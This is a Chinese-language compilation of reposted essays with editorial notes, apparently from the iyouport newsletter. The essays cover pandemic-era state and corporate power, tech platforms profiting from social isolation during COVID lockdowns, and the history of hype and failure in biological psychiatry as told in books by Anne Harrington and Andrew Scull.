- 在中国这样的地方出现了监视专制主义，在那里，技术系统被用来对传染的载体 —— 人 —— 施加更多的指挥和控制。
- 在美国这样的地方，有金融专制主义，政客们呼吁向市场献血，私募股权投资公司策划着如何挑选这个死亡经济的骨头。
- 在匈牙利这样的地方，有独裁专制主义，总理 Viktor Orbán 利用这一流行病最终宣称自己拥有无限的、不受任何控制的权力。

正如 Malcolm Harris 在这篇关于 Covid-19 的文章中所指出的，”在今天的危机中，我们正在建立明天的常态。” 当政府寻求“新的紧急状态权力”时，我们可以看到朝向大流行病后的政治秩序迈进的步伐，这些权力与他们在**9/11**事件后声称的权力相呼应了 —— 比如可以无限期地拘留他们想要的任何人、获取所有被认为是相关的数据、

构建更多新的社会控制系统。

或者，像2.2万亿美元的 “新冠病毒援助纾困经济安全法” 这样的重大立法行为 —— 企业救助计划，附带着一个微不足道的个人支票和最低限度的工人保护 —— 在国会中以口头表决的方式就通过了，因此没有时间进行辩论，也没有决定记录。

现在发生了这么多的事，很难有远见卓识。然而，更多的大规模监视、更多的社会控制、更多的国家-寡头公司权力、更多的动员进行任何形式的战争的后果，是完全可以预见的。

我们需要更多的透明度、更多的问责制，最重要的是，在计划和实施应对措施的方式上要更加人性化。否则，我担心，那些欢迎对今天的危机作出任何 “反应” 的人，在短短的几年后再回过头来看时，恐怕会怀疑这场危机是否能够结束。〇如果不能有效抵抗，这仅仅是一个开始……

Jathan Sadowski is a research fellow in the Emerging Technologies Research Lab in the Faculty of Information Technology at Monash University.

The Authoritarian Trade-Off

原文

冠状病毒如何展示了数字技术撕裂社会的极致状态 - iyouport

COVID-19(84)你如何正在被互联网所改变-媒介效应社会反抗和思考

【2020年11月25日存档】当代的科技产业得益于原子化的社会—— 正是冠状病毒以夸大的形式所带来的那种东西

【按】这篇文章的思考很重要。尤其是对于互联网经济最大受益人之一的国家社会来说，如中国，这是关于它如何正在瓦解社会的提醒。人们还能重新组织起来吗？这取决于有多少人认识到这点。

随着日常生活的范围缩小到一所房子或公寓的大小，对我们许多人来说，冠状病毒正在提高我们对空间的认识 —— 不论是公共空间还是私人空间。

社会距离让人们不得不估算出人行道上或杂货店里人与人之间相隔的英尺和英寸，并统计出一天中与我们互动过的任何人。在家里，电影会让人怀念它们所描述的那些平凡的、现在已经被禁止的仪式：握手、挤进电梯、在拥挤的餐厅用餐 ..... 人口密度这个概念突然变成了每个人都能看到的相关指标，而不仅仅是城市规划者。

这种对空间的新的敏感性与冠状病毒之前出现的那种态度形成了鲜明的对比，那种态度认为空间是一套恼人的限制，可以通过数字技术来克服。

最近，一位看起来很普通的科技行业思想领袖的一条垃圾营销推文也许说得最清楚：技术可以 “把真实世界变成一个可点击、可搜索、充满数据的体验”。

从这个角度来看，物理世界似乎是一个繁琐的、受地理限制的界面，而互联网可以简化这个界面，让聊天、购物、银行业务、与朋友分享照片等活动变得更加方便，对于科技公司本身来说，随着空间不再限制规模，他们就可以获得更多利润。

与此同时，人们的现实感和代理感也在一定程度上适应了这些 “实

惠”。当每一个值得解决的问题从根本上说都是信息问题时，人们开始觉得好像任何值得做的事都应该有一个应用程序。

从某种程度上说，这场疫情是科技行业试图建立的特殊乌托邦的理想概念验证。社交疏离政策发挥了数字技术立竿见影的优势：无处不在、卫生地接触他人，最大限度地提供便利，广泛的消费者选择，以及低成本的无尽娱乐 …… 当冠状病毒使无数全球系统陷入瘫痪时，互联网却一直在工作，英勇地填补了空白。一些长期批评科技行业的人，在过去十年的大部分时间里都在抱怨它的毒性，而现在他们似乎已经准备好承认这里有“一线希望”，如果不是直接赞扬的话。

在美国流感大流行的时候，佐治亚理工学院教授 Ian Bogost 甚至表示，我们早已生活在事实上的隔离区中了，声称“任何人可能最不担心的事就是在家无聊”—— 这种说法似乎已经过时了。

他提出的理由是，在过去的十年里，远程工作和教育、电商、送餐应用、消息渠道、社交媒体平台、和流媒体娱乐服务已经逐一消除了人们离开家的理由。

2019年，博主 Venkatesh Rao 就注意到了这样一种现象，他将其称为“居家舒适”，这是一种态度和审美，“力图控制在一个小的、封闭的已知环境中，而不是在一个大的、开放性的未知环境中”。当疫情来临时，这种居家舒适似乎已经完全成熟了。许多必要的基础设施已经到位。科技公司建立并坚持不懈地试图说服人们“想要的世界正在等着你”，他们早就准备好了全面接管你的一切。这是面向消费者的灾难资本主义行动。

【注：什么是灾难资本主义 ——

“像以前的任何危机一样，这场危机同样很可能是向社会上最富有的利益（包括对我们当前的脆弱性负有最大责任的那些利益）提供援助的催化剂。” —— Naomi Klein，记者、激进主义者和《Shock Doctrine》的作者

灾难资本主义和常规资本主义有什么区别？可以说区别不大。在应对全球病毒大流行之前，资本主义就引发了许多危机 —— 住房崩溃、气候变化、数百万没有医疗保健的人，仅举几例 —— 只有寡头公司通过出售他们声称的“解决方案”获利了丰厚的利润。

Naomi Klein 创造了“灾难资本主义”一词，专门指自由市场原教旨主义者利用大型危机事件将公共产品和服务私有化的方式，这通常会使

不平等现象成倍增加。考虑新奥尔良卡特里娜飓风之后大规模的学校特许化，这导致了两层教育体系，或者在玛丽亚飓风之后波多黎各的电力系统私有化，这可能导致更高的使用率。

在自然灾害、战争或经济危机中，人们不得不倾向于专注于自己的基本生存问题，这使得部署那些通常在正常情况下无法实现的极端解决方案，变得更加容易。

如果其他国家的例子难以理解，请考虑中国的健康码、微信小程序人口普查（没有安装微信的人将无法填写表格）等等。】

但与其说是证明“只要有网络连接几乎一切皆有可能”，倒不如说是在呼吁人们关注数字技术无法做到的事。

当考虑严格意义上的生活方式选择时，人们更容易认为居家舒适的、在线优先的生活不仅是可能的，而且是可取的。很多人直到疫情封锁后才发现，物理世界有多少东西是我们因习以为常而忽视掉的。没有可以进行诸如工作和锻炼之类的不同活动的独特场所，加之由于新闻周期的加速和轰炸，人们正在失去时间感和空间感。

空间变化有助于构建日常生活的节奏，如果没有上下班、与朋友聚会、外出办事所强加的结构，日子就会模糊在一起，时间安排也开始变得随意。

虽然目前将人们与更广泛的现实联系起来的屏幕、浏览器标签页和应用界面可以满足一些需求，但是，它们也施加了自己的特殊限制。

在最近一篇关于数字工具中空间逻辑需求的文章中，John Palmer 写道：“消息应用是一堆气泡。视频通话是静态矩形内的面孔。在这些应用里面，用户的自由度只有这么多，这使得它们使用起来很简单。但这种简单性也剥夺了人们在人际互动中的很多自由度。你可以输入任何信息，但输入信息就是你能做的一切。”相比之下，物理空间并没有针对任何特定类型的互动进行优化，为人的存在所实现的非语言功能提供了余地。

纯粹的经济交流可以在保真度损失最小的情况下迁移到屏幕互动，但事实证明，没有物理空间质感的邂逅是很难维持的。

人们用于互动的大多数应用，只是将信息成分从社交接触的场景中解脱出来。在普通情况下，这已经足够了，当时的消息和视频会议应用只是对人际交流的补充；但是现在，人们才发现，它无法替代物理空

间中的互动所能提供的丰富性和深度。

例如，可以考虑视频会议平台Zoom。在隔离的头几周，它作为一个灵活（尽管很不安全）的工具迅速流行，用于进行无法再面对面的互动，快速扩展到其既定的商务会议领域之外，以适应从欢乐时光到晚餐聚会再到亲密约会的各种人际关系。

但 Zoom 并没有像 Slack 这样的应用为相邻的活动提供支持，而是完全取代了这些活动。换句话说，用户体验到的 Zoom 更多的是一种僵化的虚拟现实形式，而不是增强的形式，因为感觉现在可供增强的屏下现实很少。

Zoom 没有像视频游戏和社交媒体那样，通过增加信息层或创造在物理空间中不可能实现的动态来支持更强大的人际互动形式，相反，它只是在等待生活回归“正常”的过程中，在二维空间中模拟人与人之间的互动。

通过 Zoom 复制的现场，感觉与其说是便捷的替代品，不如说是低劣的、有时是乏味的模拟。在这里，人们没有在聚会、音乐会甚至普通会议上体验到的那种完全感官沉浸感，而是在浏览器标签页或应用程序中进行平面化的表述，与同屏传递的其他“内容”竞争。

这已经是互联网的感性逻辑：一个非空间、非时空的宇宙，在这个宇宙中，无论你愿不愿意，都会觉得一切都已经可以被工具性使用。在疫情封锁之前，这可以表现为对信息的控制。

不难想象，像 **Zoom** 或亚马逊这样的公司希望这种隔离永远持续下去，考虑到社交疏离与他们的商业模式是多么的吻合。

在纽约时报最近的报道中，该报的一些科技记者预测，这场危机将让科技行业巩固了其主导地位，加强其对人们日常生活的影响：“随着人们被告知在家工作，远离他人，这场疫情加深了人们对科技行业巨头公司服务的依赖，同时也加速了原本对这些公司有利的趋势。”

但是，在全球噩梦的背景下茁壮成长并不同于展示更普遍的效用或社会效益。流行病疫情除了对生病的人造成直接后果外，还会加剧恐惧、偏执、孤立、排外、经济脆弱和抑郁。如果某些科技公司很好地补充了这样一个世界，我们应该问为什么。

这个问题的答案是：当代科技行业受益于原子化的社会 —— 冠状病毒以夸张的形式带来的那种状况。在讨论 Airbnb 时，Rob Horning

写道："人们发现彼此间无法相处，无法沟通，无法解决问题，这符合那些平台的利益。这加强了人们对第三方调解人的需求。"

在流行病中，这些长期以来的倾向只会被放大。

个人成为他人生命的字面上的威胁，让数字平台强化了他们自己作为调解人的角色，进而甚至鼓励用户放纵他们对彼此的工具性利用。这些平台已经预设了一个世界，在这个世界里，关系基本上是交易性的，如果没有监控和集中化的强行评级计划，信任即使不是不可能的，也是很困难的。

【注：考虑中国的"社会信用评分"。当您在诸如"闲鱼"等平台上购物时，您是否会不由自主地参考卖家的信用评分？使用Uber的时候呢，何尝不是如此？但您有没考虑过这些评分是如何得来的？】

传统的基于地理位置的社区的团结以及它们所培养的互惠关系已经被排除在外。目前，这种玩世不恭的愿景正在从疫情的封锁中获得额外的支持。

在后冠状病毒的世界里，公共空间潜在的荒诞未来已经变得非常明显。除了证明大规模远程工作的可行性 —— 从而消除了许多使工作更容易忍受的非结构性互动和关系 —— 之外，这场大流行还很可能会加强民众对更具侵入性的监控形式的支持，以根据健康或免疫状态调节公共空间的访问。

上图中这本书在这里下载：*https://www.patreon.com/posts/wei-ji-he-li-wei-38320578*

科技公司已经促进了这种趋势。如果说这些公司的产品之前已经鼓励了一种工具化的互动模式，那么，它们现在提供的基础设施正在巩固它，破坏公共空间在允许其他类型的人类接触方面的关键作用。

尽管加密消息和其他混淆机制已经兴起，但是屏幕上发生的事永远都更容易被监控。当一项活动以软件为媒介时，它本身就变得不那么私密和匿名。

例如，Zoom 通话可以被主机录音，使教师和白领工人都受到更多的监视，使他们更加脆弱。同样，一般来说，远程工作更容易被雇主彻底监控，以至于软件可以跟踪一个人的每一次击键。

- 《不止是 Zoom，Google Meet、Microsoft Teams 和 Webex 都不安全》

- 《你的老板可能是比 Facebook、谷歌更大的老大哥》

亚马逊的各种服务在从大流行中获得的好处比几乎任何其他公司都要多。Anton Jäger 在预测一个潜在的疫情后的荒诞症时写道："如果没有大规模的刺激计划，疫情将消灭大部分小规模的服务行业，从理发师到美甲沙龙，从网吧到专业咖啡吧。唯一屹立不倒的公司将是亚马逊那种大型连锁店，它们现在主宰着一个重新调整的旨在提供所谓的'必需品' 的次级经济。"

在汹涌澎湃的平等需求下，亚马逊的工人组织了罢工，抗议公司对自身健康和安全的忽视，促使亚马逊报复性地解雇了这场罢工的组织者。

在某种程度上，这些劳工斗争是同时争夺空间斗争的产物。亚马逊在消费者和商品之间提供了一个看似无缝的界面，隐藏了它的物理供应链和为其提供动力的工人，从而制造了一种错觉，即 它所销售的产品"来自互联网本身"。

与其他重塑各种可能性领域的应用一样，亚马逊试图重塑消费者与物质商品世界的关系，让人错误的觉得公司无法满足的任何需求都不是真实的。

同时，亚马逊掩盖了服务客户所需的人力成本，鼓励一般科技平台所促成的人际交易。通过在大流行期间向亚马逊下单，富裕的消费者可以将在外的风险转移到必须履行和交付这些订单的工人身上。

【注：还记得流行中国网络的关于快递员困境的文章吗？】

在隔离之后，如果您希望避免满足于一种原子化的、非语境化的生活 —— 在这种生活中，人的主要身份只是消费者或用户，这种身份使我们彼此孤立，甚至相互对立 —— 那么您最终将不得不找到一种安全的方式回到公共空间。整个城市和国家在室内呆了几个月后走出冬眠的文化惯性将是深刻的，但人们不应该把自己在隔离期间维系生存的模式解释为这种生存似乎是可取的或可永久化的证据。

在《如何无所事事》一书中，Jenny Odell 雄辩地说明了物理场所作为非交易性人际关系的重要性。举个例子，她描述了对许多人来说，公共交通是"最后一个非交易性空间，在这个空间里，我们经常和各种不同的陌生人挤在一起，他们都因为不同的原因有不同的目的地"。

她接着总结了 Louis Althusser 的论点，即 真正的社会只有在空间限制下才能出现，在这种环境下，个人生活在有界的近距离内，而不会轻易分散。在这样的环境中，个人别无选择，只能彼此反复相遇，并在比这些关系所承诺的交换价值更坚实的基础上建立持久的联系。

这代表了一种完全不同的逻辑，与一个应用程序的逻辑是完全不同的逻辑，Althusser 写道，人们必须 “被迫拥有持续的相遇：被一种比他们更优越的力量所强迫”。

这种被迫的相遇，与支配商业互联网的所谓无摩擦的便利性风气完全相悖，尤其是在隔离状况之下。在网上，人们不需要占据任何特定的地方，更不需要反复访问 —— 在一个由不断变化的信息源组成的环境中，我们经常无法回到同一个地方，即使我们想去。

隔离结束后，许多商店、工作、人员甚至机构都不会回来了。巨大的经济和情感痛苦将不公正地分布在广大的人口中。

城市将不再是记忆中的模样。但这并不意味着您必须将自己屈从于一个扁平化的和完全消费化的监控社会，在这个社会中，数字平台继续将我们彼此分开。

后疫情时代的过渡至少将作为一个机会，评估我们目前可点击、可搜索的现实中缺乏什么，一旦我们有能力，就会找到新的方法来填补外面的这些空白。

人们仍将需要深度、自由和具体的存在，而这些只有在一个拥有健康的、功能充分的和无障碍的公共空间的物理世界中才能完全实现，即使可能仍然依靠互联网来帮助使用它。

互联网从来就不是为了成为一个自足的空间 —— 它是一个被增强的现实，并不是虚拟的现实 —— 人类不可能完全生活在其中。〇

Home ScreensHome Screens

原文

别再吃药了，精神疾病的病根并不在你的头脑中 - iyouport

社会反抗和思考

几十年的生物学研究并没有改善诊断或治疗。 我们需要的是 -- 走上街头。

【按】您有没想过，当一个社会出现抑郁症/精神类疾病爆发时，这种现象究竟意味着什么？

十年前的2012年，上海市卫生局曾经颁布了一份《精神疾病防治服务规范 (2012版)》，规定将开展 “疑似精神病患调查”。对于所谓的有过自杀或者自残、经常胡言乱语、无故不上学、不上班、不出家门、不和任何人接触等 “行为异常” 的人员，将作为疑似精神病患者的调查线索。

Thanks for reading iyouport! Subscribe for free to receive new posts and support my work.

Suscribirse

一时舆论大哗。在过去的十年，这则消息每次被翻出来都能重新引发一轮议论。公众很难相信这样一个随意、泛化的精神病标准竟然是认真的。尤其是，随着上海新冠疫情下的强制封城和反复筛查，后疫情时代的上海俨然呈现一幅全民精神病态的城市面貌。

本文将要介绍的这两本新书所论述就是临床意义上的精神疾病，也就是您说了解的 “确诊” 患者，他们的痛苦真正曝光的东西是什么。

记得**IYP**的 列表-5 在简介中写到的那句话？—— “直接行动是最好的疗愈”。

📌 您可以在这里下载这本书：https://www.patreon.com/posts/bie-zai-chi-yao-70286123

📌 如果您错过了（2017年）：

- 《百忧解时代（一）变质的竞争和时代性焦虑》
- 《百忧解时代（二）数字世界里焦躁的“新”人类》
- 《百忧解时代（三）令人沉迷的广义化自杀》

1990 年，乔治·布什总统宣布，“新的大发现时代” 已经显露 “大脑研究的曙光”。在接下来的几十年里，美国政府向脑科学领域投入了数十亿美元，期望彻底改变人们对精神疾病的理解，从抑郁症、双相情感障碍到精神分裂症。科学家们设想，未来的精神疾病将可能通过基因测试、简单的抽血或大脑扫描就可以得到诊断。新药将针对特定的神经化学失衡，进行更有效的治疗。布什宣称，1990 年代将被称为 “大脑的十年”。

这个有关大脑研究的美丽新世界，也承诺让人们摆脱几个世纪以来与精神疾病和成瘾相关的耻辱和歧视。将精神疾病定位在大脑中，等于视同如糖尿病和高胆固醇一样的慢性疾病，而不是个人的道德缺陷或性格缺陷。虽然无法准确预测未来会发生什么，但人们有一种前所未有的感觉，精神病学将如布什所说的，破解这个 “不可思议的器官” 的 “奥秘” 和 “奇迹”。

精神病临床的现实远没有那么迷人

「图」

作为一名精神病学家和历史学家，回顾这一切的时候，我发现这些曾经的希望给人很古怪的感觉。它们让我想起了 二十 世纪人们对技术未来类似的错位愿景，譬如飞行汽车、满足一天营养的药丸。而精神病临床的现实远没有伴随我成长的愿景那么有魅力。 30 年后，我们仍然没有针对精神疾病的生物试验，没有任何进行中的测试。相反，我们的诊断完全基于一本书中的标准，即《精神疾病诊断和统计手册》（通常被自嘲为美国精神病学的 “圣经”）。在过去的 70 年里，它修订了五版，虽然最新版比旧版多了近 100 页，但根本看不出它哪点儿比旧版本更好。没有一个诊断是按照大脑情况做出的。

我们在治疗方面也没有任何重大突破。几十年来，制药业已经生产了数十种抗抑郁药和精神类药物，但没有证据表明它们比 1950 年至 1990 年间出现的药物更有效。今天患有严重精神疾病的人更有可能无家可归或过早死亡。在过去 150 年的任何时候，精神病人的寿命都要比一般人口少 10 到 20 年。生物学研究也未能揭示为什么精神科药物可以帮助一些患者，但不能帮助其他患者。当病人问我抗抑郁药

的作用是什么时，我不得不耸耸肩，“我们真的不知道，但我们只是有根据知道它有大约 30% 的可能性会帮助你改善情绪”。一位患者困惑地回答说，“这不是和神经递质有关吗？”我叹了口气，“是的，有一段时间里理论是这样的，但它没有成功。”

还有污名化的问题。正如人类学家海伦娜·汉森（Helena Hansen）所说，研究成瘾的神经科学往往强化了污名化，他们把精神疾病的实质还原到个人问题上，而不是作为源于种族暴力等等长历史的、结构性因素的结果。与白人患者相比，美国精神科医生诊断出黑人和棕色人种的精神分裂症发病率与其人口不成比例。精神科医生兼社会学家乔纳森·梅茨尔（Jonathan Metzl）将这种差异追溯到 1970 年代，在民权运动高涨后的精神科医生们把黑人激进主义病态化为“精神病”。然后，经历心理健康危机的黑人患者，包括儿童，更有可能遭受身体约束的暴力，以类似于一个多世纪前收容所对待疯子的方式被绑在床上。

2015 年，美国国家心理健康研究所 (NIMH) 前所长托马斯·英塞尔 (Thomas Insel) 吐露了这种幻灭感：

> 我在 NIMH工作了 13 年，致力于精神疾病相关的神经科学和遗传学，当我回首往事时 …… 我意识到，虽然我成功地让貌似很酷的科学家们以极高的成本发表了许多非常酷的论文 ——

但这对今天的精神病学术界意识到与实际的脱节毫无帮助。在瘟疫流行下的社会孤立、社会中的种族暴力、以及在学校、体育运动和市场经济日益激烈的超级竞争文化中，许多人都越来越关注心理健康的重要性。但精神病的学术研究几乎只关注大脑研究，这意味着精神疾病的专业问题本身在这些研究对话中基本上消失了。这是为什么？所有关于神经生物学的“酷论文”都获得了学术资助并帮助教授升了职，但它们并没有对数百万罹患精神困扰的人们的诊断和护理产生任何有意义的影响。

我们是怎么发展到如此田地的？如果我们不能从生物学上理解精神疾病，那么当我们从历史角度审视它们时会发生什么？精神病史家最近出版的两本书探讨了生物-精神病学的危机，追溯了导致精神病学家试图将精神疾病的现实—— 以及该职业的合法性—— 与大脑联系起来的政治、经济、社会和专业因素。这些都是大书，由精神病学史学家撰写，其分量和范围都涵盖了该行业 200 年的失败。它们揭露了美国精神病学在其历史上一直如何很容易受到炒作和追求“酷”的影响，从 1890 年代对大脑解剖的热情到一个世纪后围绕神经递质和遗传学

的大肆炒作。

了解精神病学中有关炒作和危机的跌宕历史在今天至关重要，因为该行业正朝着下一个趋势发展：迷幻药，已经被誉为“复兴”和精神病的“下一个前沿”。这两个历史著作所表明的，学术界和企业对炒作的追求忽视了受精神病研究和护理影响的最大社群的视角，带来他们重大的心理和身体伤害。从这些书的优点和局限性出发，可能促使精神病学家们重新考虑其优先事项。其挑战结果，让我们去重现构想一个未来世界，在这个世界中，花费在生物研究的数十亿美元应该被重新分配给最需要它的社群，不是以大脑为中心，而是为以整个人类为中心的护理形式提供必要的资源。

精神病学很容易受到炒作的影响，精神病学科史则充满了投机市场一般的兴衰起伏

「图」

在《心灵修复者：精神病学对精神疾病生物学的艰辛探索》一书中，作者安妮·哈灵顿认为，当前的危机只是过去两个世纪以来精神-生物学的一系列失败中的最新一次。 在这项全面的研究中，精神病学史就像投机市场的繁荣和萧条一样起伏不定。 最初的浪潮随着精神病学的革命性突破而起，伴随着将改变已有精神病学的热望。然后，浪潮崩溃了，因为精神科医生没能兑现这些大胆的承诺。 当危机接踵而至，下一波精神病学革命又开始形成。历史就是如此反复冲刷。

哈灵顿追踪的美国精神病学第一次的“革命”出现在 19 世纪。当时，大型精神病院占据了精神病院的主导地位，例如纽约市今天被称为罗斯福岛的布莱克威尔岛医院。这些机构旨在通过将精神障碍患者置于专门的收容所内“治愈”他们。然而，一系列新闻曝光显示，这些收容所人满为患，资金不足，患者生活在悲惨的环境中，并没有基本的治疗条件。例如，1887 年，笔名 Nellie Bly 的记者伊丽莎白·希曼（Elizabeth Seaman）在布莱克威尔岛医院（Blackwell’s Island Hospital）卧底，然后通过《疯人院的十天》一书中揭露了可怕的暴行，这本书也称为当时的畅销书。疯人院-收容所模式的精神病学面临着公众信任危机。

随后，如哈灵顿所解释的那样，欧洲的神经解剖学家前来援手。与收容所医生不同，解剖学家对治愈的可能性持悲观态度。基于优生学理论，他们认为收容所内的患者是“退化者”，在生物学上不适合应对现代生活的压力。但他们也相信，精神病患者可以把他们的大脑提供给

科学事业，在他们死后继续为社会提供服务。解剖学家希望，解剖他们的病态大脑可以揭示精神痛苦的生物学原因。

在 19 世纪后期，随着精神病收容所从治疗机构转变为研究场所，在未经他们同意的情况下，医院对大多数贫穷患者的身体和大脑进行了数千次解剖。然而哈灵顿的总结是这些解剖并没有揭示什么。问题在于这些神经解剖学家不知道他们在寻找什么。精神病学家 Karl Jaspers 将这些解剖学上的努力概括为一个 “大脑神话”。神经解剖学的解剖很失败。

放弃了神经解剖学家的治疗虚无主义，生物精神病学的第二次推动转向了另一个极端。 20 世纪初的美国是一个肆无忌惮的时代，精神病医生对病人的身体以近乎绝望的实验寻找治愈方法。安德鲁·斯卡尔（Andrew Scull）的新书《绝望的补救：精神病学治疗的动荡探索》，对这个 “实验狂欢” 的时代描述得令人毛骨悚然。虽然与哈灵顿的研究重叠了相同的历史背景，但斯卡尔更生动的叙述表明，生物精神病学的基础是建立在对妇女、穷人和有色人种身体施加的暴力之上。 Scull 认为，从 1910 年到 1950 年间，美国的研究人员把那些可怜的患者 “看作客体，而不是有着情感的生命”。当时的患者几乎没有任何法律权利，没有办法抗议医生对他们的身体进行侵入性和随意的实验。

以美国精神病学家亨利·科顿为例，他出现在哈灵顿和斯卡尔的叙述中。在 1910 年代和 20 年代，科顿确信所有的精神病都是由感染引起的，也就是感染的结果，他的理论建立在一种较早病症的假设上，即梅毒螺旋体进入大脑后引发的 “精神失常的全身瘫痪”。基于这种未经证实的脓毒性精神病理论，科顿得出结论，可以通过手术切除患者体内潜在的感染源来治疗精神病。科顿以治愈精神病的名义手术切除了牙齿、阑尾、卵巢、睾丸、结肠等，导致数千名患者致残和死亡。后来发现科顿的结肠切除术的死亡率超过 44%，其中女性所占比例畸高。

Scull 研究的另一个例子是维也纳医生 Julius Wagner-Jauregg，他认为诱发高烧和抽搐可能有助于精神病患者。 1927年，他因利用疟疾诱发高热来治疗全身性瘫痪的精神病人而获得诺贝尔医学奖。哈灵顿指出，在华盛顿特区著名的圣伊丽莎白医院，某些在社会上最边缘化的慢性精神病患者变成了“疟疾储备”，他们的体内储存着寄生虫，为其他患者的治疗做准备。

Scull认为这一时期最极端的实验莫过于额叶切除术。这一流程开始时是对头部进行局麻，钻穿颅骨，并用刀片切割大脑的额叶。当病人开

始感动“困惑”时，外科医生便停止切割。这项创新为葡萄牙神经学家 Egan Moniz 赢得了 **1949** 年的诺贝尔医学奖。在美国推广该手术的沃尔特.弗里曼后来又创新了一种方法，将冰锥从眼窝插入大脑。在 1940 年代和 50 年代，成千上万的人进行了额叶切除术，其中针对女性的手术同样比例畸高。弗里曼将手术的效果描述为将他的病人变成像“家庭病人或家庭宠物”，让家庭和机构更容易控制他们的行为。

绝育是这一时期美国精神病治疗中流行的另一种侵入性手术。根据旧的退化理论，绝育是一种优生而非治疗工具：它旨在防止患有精神疾病的人传递他们的“垃圾股”。在 1927 年臭名昭著的巴克诉贝尔案中，这种道德上令人担忧的做法进入了最高法院，当时的助理大法官奥利弗·温德尔·霍姆斯 (Oliver Wendell Holmes, Jr.) 辩称，社会有理由寻求“防止那些明显不适合的人延续他们的种类”。在该决定之后的十年里，约有 28,000 名被诊断患有“弱智”的美国人被做了绝育手术。

Scull 和 Harrington 得出结论，今天的精神病学从这段疯狂、危险的实验中继承下来的唯一有效治疗方法是电惊厥疗法 (ECT)。 1930 年代，匈牙利精神病学家拉迪斯拉夫·梅杜纳（Ladislav Meduna）（错误地）相信癫痫发作和精神分裂症是两种对抗性疾病，他试图用强效兴奋剂美甲唑(Metrazol)诱导精神分裂症患者的癫痫发作。由于治疗过程中的野蛮暴力，大约 40% 的患者发生了脊柱压缩性骨折。尽管随着时间推移这一疗法进行了调整，以期对患者更安全，而最终演变成 ECT，今天继续在美国精神病治疗中使用。目前的研究表明， ECT 在治疗抑郁症方面是安全有效的，但和 1930 年代的研究人员一样，我们仍然不知道它为什么或如何起作用。

下一批精神病学的革命者，则拒绝这种对身体的暴力实验，转而采用一种关注心灵的方法：精神分析。西格蒙德·弗洛伊德 (Sigmund Freud) 于 1909 年抵达美国，但他的想法直到二战后才在这个行业中站稳脚跟。从那些遭受战场精神创伤的士兵身上，精神科医生最终明白了战争的心理创伤可能与他们的身体伤害一样具有毁灭性。

- 如果您错过了《背叛主流？精神病院欢迎你：被病理化的异议》

在战后，精神分析逐渐形成了精神病领域里斯卡尔所谓的 “脆弱霸权”。哈灵顿强调，精神病学家转向弗洛伊德是因为他们相信它为精神疾病提供了一种独特的医学方法：精神分析作为一种干预，患者的无意识当中包含着解释和治疗精神病患者的症结。

到 1950 年代，美国大多数精神病住院医师培训项目由精神分析学家领导，许多有影响力的精神分析家以诋毁早期的躯体治疗来巩固他们的专业能力。例如，1948 年，一组有影响力的分析人士认为，额叶切除术不是一种疗法，而是一种 “专门破坏” 人类所必需的大脑部分的 “人造自我毁灭性手术”。流行文化中的意见领袖也将精神分析视为美国社会面临的更广泛问题的解决方案。在 1948 年美国精神病学协会的年度会议上，哈里·杜鲁门总统表示，“精神病学领域的专家” 对于维护美国的 “理智” 至关重要，这是 “和平的最大先决条件”。

但就像之前历次革命的荣衰周期，精神分析也未能实现其过于雄心勃勃的目标，而且精神分析几乎完全专注于思想，这并不能减少精神疾病对弱势群体造成的伤害。在 1970 年代，同性恋活动家大声抗议美国精神病学将他们的性行为病态化。这些活动家，包括一些研究同性恋的精神病学家，冲进了美国精神病学协会（APA）的年度会议，并成功地要求从精神病目录中删除同性恋。

1970 年代同性恋、女权主义、黑人力量和残疾运动的积极分子面临的问题是，制度性的精神分析拥抱和接受的是让个人接受白人、有能力者、异性恋和中上阶级的道德规范。 对于那些挑战这些规范的认同来说，心理治疗更有可能造成伤害而不是治愈。

正如芝加哥同性恋解放阵线的成员在 1970 年写给美国医学协会的传单中所宣称的：

> 我们同性恋解放的同性恋者认为，治疗的调整学派不是一种有效的社会方法

他们呼吁离开沙发走上街头，是对主要由白人组成的学术性精神分析职业的控诉，这一职业已经具体化了，而不是挑战社会的压迫结构。例如，本世纪中叶的许多分析家认为，黑人不具备在沙发上进行精神分析所需的心理复杂性。此外，历史学家马丁·萨默斯（Martin Summers）表明，在治疗黑人患者的机构中，即使面对有悖这一教条的数据和临床经验，精神分析学家也会强调 “独特的黑人心理” 这一古老的种族主义刻板印象。

可以肯定的是，在 1960 年代和 70 年代的政治狂热中出现了更激进的精神分析愿景，但你必须超越 Scull 和 Harrington 的叙述才能找到它们。例如，在法国殖民地阿尔及尔，出生于马提尼克岛的精神病学家弗朗茨·法农 (Frantz Fanon)，他批评了殖民主义的反黑人暴力，也构想了更多解放形式的精神护理。在拉丁美洲，我自己的工作着重于 1970 年代初期的马克思主义精神分析学家如何想象一种 “被压迫者的

心理治疗”，将心理健康与摆脱资本主义和帝国主义的社会和政治解放联系起来。但是，这些在第三世界的激进努力，无论在地理上还是在政治上，都与这两本书中讨论的主流精神分析相去甚远。

对 Scull 和 Harrington 来说，对美国精神病学合法性的最大打击可能来自该行业本身。 1973 年，法医精神病学家大卫·罗森汉 (David Rosenhan) 在《科学》杂志上发表了一项名为 “在疯狂的地方保持理智” 的实验。他的这篇著名研究得出的结论是，精神科医生无法区分理智与精神错乱。在实验中，罗森汉派了八名假装听到 “空虚”、“沉闷” 和 “砰砰” 等词的 “假病人” 到精神病院进行采访。罗森汉发现八人都被精神科医生送进了医院。他们的平均留院时间为十九天。除一名患者外，所有患者在出院时都被诊断为精神分裂症。虽然记者苏珊娜·卡哈兰(Susannah Cahalan)最近揭露了罗森汉捏造实验结果，但当时这篇论文动摇了这个专业的基础，打破了精神分析对该领域的脆弱控制。

进入 1980 年代的生物精神病学家，他们为我们今天所处的生物革命奠定了基础。部分为了回应罗森汉的研究，这个新的精神病学家联盟将职业合法性危机归咎于精神分析。他们认为，它的蒙昧主义理论充斥着行内黑话而不是实质内容，已经把美国的精神病学变成了巴别塔，精神病学家之间几乎无法进行有意义的交流。早在 1960 年代的研究表明，精神科医生的诊断在统计学上并不可靠 —— 也就是说，即使在评估同一名患者时，精神科医生也经常在诊断上存在分歧。有影响力的精神病学家罗伯特·斯皮策(Robert Spitzer)认为，解决办法是从根本上改革一本大多数专业人士忽视的书：DSM。斯皮策和 DSM-III 工作组重构了手册的精神分析基础，取而代之的是他们认为可以用于指导治疗和研究患者行为的可观察的参照，也就是对每种疾病的明确和客观的标准。

1980 年第三版 DSM 的出版，预示着被明确称为精神病学 “生物革命” 的诞生。这场革命的证据，标志着斯皮策和其他人对精神药理学的发展，是1954年引入的第一个有效的抗精神病药物氯丙嗪，以及其后对神经递质和遗传学作用的生物学研究。他们相信，对大脑和身体的研究最终会将 DSM-III 中行为描述的疾病与其潜在的生物学原因关联起来。

